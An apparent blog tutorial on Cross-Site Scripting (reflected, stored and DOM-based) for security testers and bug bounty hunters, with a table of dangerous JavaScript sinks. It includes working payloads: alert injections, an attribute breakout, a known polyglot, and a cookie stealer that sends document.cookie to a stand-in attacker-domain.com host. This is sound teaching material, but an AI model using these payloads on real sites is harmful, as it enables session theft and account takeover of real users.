Cross-Site Scripting (XSS): Executing Code in the User’s Browser

Cross-Site Scripting (XSS): Executing Code in the User's Browser

Cross-Site Scripting (XSS) is one of the oldest and most common vulnerabilities out there and has been on the OWASP Top 10 list for a while now. XSS allows attackers to execute JavaScript code in the target browser. This can be used to steal tokens, sessions, cookies, and much more, potentially leading to account takeover or other serious consequences.

There are three main types of XSS: reflected, stored, and DOM-based. The following sections will discuss each of these in detail.

Reflected XSS

Reflected XSS is one of the most basic forms of Cross-Site Scripting. With reflected XSS, user input is immediately “reflected” back in the HTML source of the server’s response. If the input is not sanitized (cleaned of potentially dangerous characters) properly, an attacker could insert malicious payloads into the page.

The Basic Payload

Consider an example where user input is being reflected between two HTML tags:

<p>You searched for: user_input_here</p>

If the input is not being sanitized, an attacker could insert JavaScript code as shown below:

<script>alert('XSS')</script>

As you can see above, an attacker was able to insert a JavaScript command to pop an alert box on the screen. A real attacker wouldn’t just pop an alert box; they would insert a JavaScript payload to steal the user’s cookie so they could log in as that user, demonstrating a high impact.

Stored XSS

Stored XSS is the most dangerous form of Cross-Site Scripting because the malicious code is permanently saved on the target application’s server (usually in a database).

Imagine a comment section where your input is being reflected in two different locations: the <input> tag’s value attribute and also in between two <p> tags. However, in this scenario, the input between the <p> tags is being sanitized (the < and > symbols are converted to their HTML entity equivalents like < and >). This prevents the successful injection of JavaScript tags at that location.

However, if the input within the <input> tag’s value attribute is not properly handled, the attacker can “break out” of the attribute’s quotes and inject their own script tags.

Example Payload to break out of an attribute:

"><script>alert('Stored XSS')</script>

The payload is saved by the application and displayed to every user who visits the page.

If you look at the relevant line in the page’s HTML, the payload is executed by the application. This means that any user visiting this endpoint will see the famous alert prompt.

As you can tell, stored XSS is very similar to reflected XSS. The only difference is that our payload is saved by the application and executed by every user who visits the vulnerable endpoint, making it much more widespread and severe.

DOM-Based XSS

Reflected and stored XSS occur when server-side code unsafely concatenates user-supplied input with the HTTP response. DOM-based XSS (Document Object Model-based XSS) happens client-side entirely within the browser. This means you should be able to spot these vulnerabilities by looking at the JavaScript source code.

Remember, JavaScript is executed in the browser, so you have access to everything; all you need to know are some basic code review techniques.

When performing a code review, security professionals generally look for user-supplied input (source) and track the data flow until it gets executed (sink).

Sources: Where User Input Comes From

A source is a JavaScript object property that can be controlled by the user. If the value from a source is used improperly, it can lead to XSS. A list of common JavaScript sources includes:

This is not an exhaustive list, but these are some of the major sources. As mentioned earlier, these sources can be modified by the user, so if they are used improperly, things could go wrong.

Example 1: Using eval() as a Sink

In one scenario, the user is able to control the GET parameter vuln. This parameter is then saved to a variable called vul_var, where it finally ends up being passed as an argument to the function eval.

var vul_var = document.location.search.split('vuln=')[1];
eval(vul_var);

The eval function is used to execute JavaScript. Since the arguments passed to this function are controlled by the user, attackers could pass a malicious payload which would be executed by the user’s browser. The GET parameter vuln is the source, and the eval function is the sink.

Sinks: Where Execution Occurs

A sink is a sensitive function or property that can execute JavaScript or render HTML on the page. According to Google, sinks are the points in the flow where data originating from sources is used in a potentially dangerous way, resulting in loss of confidentiality, integrity, or availability.

When a source is passed to a dangerous sink in JavaScript, it is possible to gain code execution within the client’s browser. A list of dangerous sinks includes:

SinkExample of Dangerous Usage
evaleval("Javascript Code" + alert(0))
FunctionFunction("Javascript Code" + alert(0))
setTimeoutsetTimeout("Javascript Code" + alert(0), 1)
setIntervalsetInterval("Javascript Code" + alert(0), 1)
document.writedocument.write("html" + alert(0))
.innerHTMLelement.innerHTML = user_input
.outerHTMLelement.outerHTML = user_input

Testing and Payloads

Testing for XSS can be a challenge since there are so many possible scenarios. The basic

<script>alert(0)</script>

payload is going to miss a lot of potential vulnerabilities.

For example:

The XSS Polyglot

To combat the variety of injection contexts, an XSS polyglot can be used. A polyglot is a single string that is designed to successfully execute an XSS payload across a multitude of different scenarios and injection contexts.

The example shown below is a famous XSS polyglot by “0xsobky” and it can be used to trigger your XSS payload on a multitude of scenarios:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e

Beyond the Alert Box: Demonstrating Impact

Making an alert box appear is useful for a Proof of Concept (POC), but it doesn’t show the full impact of an XSS vulnerability. While most security professionals know that an alert box indicates something dangerous is going on, some individuals might dismiss it.

As a security professional, it’s your job to convey the impact of a vulnerability. Instead of a simple alert(), a much better POC is a Cookie Stealer for account takeover.

Cookie Stealer Implementation

Depending on the application, cookies are used to store a user’s authentication details (often a session token). If an attacker steals this cookie, they will be able to impersonate the victim, giving them access to their account.

Retrieve the user’s cookie using JavaScript:

document.cookie

Send the cookie to the attacker’s machine by modifying document.location to force the browser to navigate to an attacker’s webpage, including the cookie data in the URL:

document.location = "http://attacker-domain.com/?c=" + document.cookie

The combined malicious payload would look like:

<script>document.location = "http://attacker-domain.com/collect.php?c=" + document.cookie</script>

When this payload is executed, it sends the user’s cookie to the attacker’s server (where a simple script, e.g., collect.php, logs the GET parameter). An attacker could then use this cookie to log in as the victim user, allowing them to fully compromise their account.

Summary

Cross-Site Scripting (XSS) is one of the oldest and most prevalent types of vulnerability impacting web applications. If you only knew how to exploit XSS, you would still be able to make a decent amount of cash from bug bounties, as this is the number one vulnerability found in many programs.

There are three types of XSS vulnerabilities: reflected, stored, and DOM-based.

Exit mobile version